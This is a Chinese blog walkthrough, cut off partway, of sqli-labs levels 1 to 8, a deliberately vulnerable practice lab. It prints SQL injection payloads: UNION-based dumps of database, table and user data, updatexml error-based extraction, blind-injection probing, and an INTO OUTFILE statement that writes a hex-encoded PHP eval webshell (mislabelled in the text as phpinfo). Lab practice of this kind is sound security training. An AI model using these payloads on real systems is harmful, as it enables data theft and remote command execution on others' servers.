sqli-labs 1-65 详细分析

序言

这里都是我整理出来的sqli-labs解题思路,还算是对细节方面解析比较多的了。前面二十题大多是在以一个做题者的思路去写,后面就大部分是直接拿源码分析了,后面的很多关卡没有对表名这些直接爆出,更多的是提供一个思路,希望各位还是要动手去做,这样才能更熟练
这里要说明一下,我之前导入文件的时候出了点问题,这些图片都是我后面一张一张复制粘贴上来的,所以可能会有错位的现象,如果大家发现了麻烦跟我说一下,谢谢
如果有还不太明白的地方可以直接问我,如果有写的不好的地方或者是写错的地方麻烦各位跟我提一下,谢谢了哈

Less-1:

?id=1

image.png

尝试用?id=-1来测试此处是否存在交互

image.png

说明此处存在交互,开始尝试注入

首先测试闭合字符

image.png

报错了

image.png

说明此处闭合符为’

使用order by函数猜字段

image.png

image.png

在order by 3时显示正常,但是order by4 会报错,说明此处字段为3

随后测试回显点

image.png

image.png

说明此处回显点为 2位和3位

随后开始查询当前使用数据库名

image.png

image.png

得出当前数据库名

随后查询该数据库中表名

?id=1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 – qwe

image.png

随后可以查询表中字段

?id=1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 – qwe

image.png

查字段信息

?id=1’ and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe

image.png

Less-2:

此处可得这里存在与数据库交互,且为数字型注入

image.png

后续与Less-1基本相同

?id=1 and 1=2 union select 1,(select group_concat(users.username) from users),3

最后得出字段内数据为

image.png

Less-3:

?id=3’ 和 ?id=3’)均报错,说明此处为’)或者’闭合

image.png

随后先假设为’)闭合,然后通过order by进行测试查询字段数

使用orderby1

image.png

这里说明’)为正确的闭合方式

随后的操作与Less-1相似,只是闭合符不一样

查字段信息

?id=1’) and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe

image.png

Less-4:

image.png

image.png

从上面可以看出来闭合符为” 或者 “)

随后继续假设为”)

使用order by 猜测查询字段数

使用order by 1

image.png

说明此处为”) 闭合

剩余步骤与Less-1基本相同

最后查询字段中信息得

?id=1") and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe

image.png

Less-5:

这里之后测试字段就不再过多注明了,有点浪费时间

image.png

image.png

综上所述这里闭合符为’

随后继续用order by 测试查询字段数,以方便后续联合注入

Order by 3
image.png

Order by 4

image.png

说明此处查询字段数为3

随后使用联合查询来测试回显位

?id=1’ and 1=2 union select 1,2,3 – w

image.png

其实经过之前的回显页面我们就可以看出来这里并无回显位

那我们可以尝试用报错注入使得页面报错从而利用报错的信息来拿到我们想要的数据

常用的报错函数有:

Updatexml

Floor

Extractvalue

这里使用updatexml来尝试

?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select database()),0x7e),1)) – qwe

image.png

查询所有数据库名

?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)) – qwe

image.png

查询当前使用数据库中所有表名

image.png

查询users表内所有字段名

http://192.168.203.146/sqli-labs-master/Less-5/?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe

image.png

Less-6:

Less-6只是闭合符换成了”,其余步骤均与Less-5相似

爆出users表内所有字段名

?id=1" and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe

image.png

Less-7:

通过这里的提示,我们可以知道可以使用outfile函数来写入webshell或者phpinfo来读取敏感信息

image.png

http://192.168.203.146/sqli-labs-master/less-7/?id=-1’)) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile ‘C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/7.php’ – qwe

通过上面的语句写入phpinfo

Less-8:

先测试这里的闭合符

这里是正常页面

image.png

随后开始测试闭合符

image.png

image.png

image.png

综上所述,这里测试得出闭合符为’

这里我们也可以看出来,这里可以尝试布尔型盲注通过ascii码去猜数据库名,表名,字段名以及数据,但是也可以去尝试报错注入

这里尝试使用报错注入

image.png

但是这里我们发现并没有报错信息

随后我们就只能通过盲注去逐步猜解

我们可以先用length去猜解当前数据库名的长度

这里补充一下mid函数 mid是用来分割数值再取值的

Mid(column,start,length) 这是函数的用法

其中column表示要截取的字段,start为开始的位置,最左为1

Length代表截取长度

image.png

image.png

当length(database())>8的时候页面回显不正常了,说明这里数据库名长度为7或者8

我们先假设是8

image.png

这里可以看出来数据库名就是1

然后我们猜解数据库名第一个字符的ASCII码值

image.png

这里说明第一个字符的ascii码值是大于80的

然后我们继续猜解

image.png

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值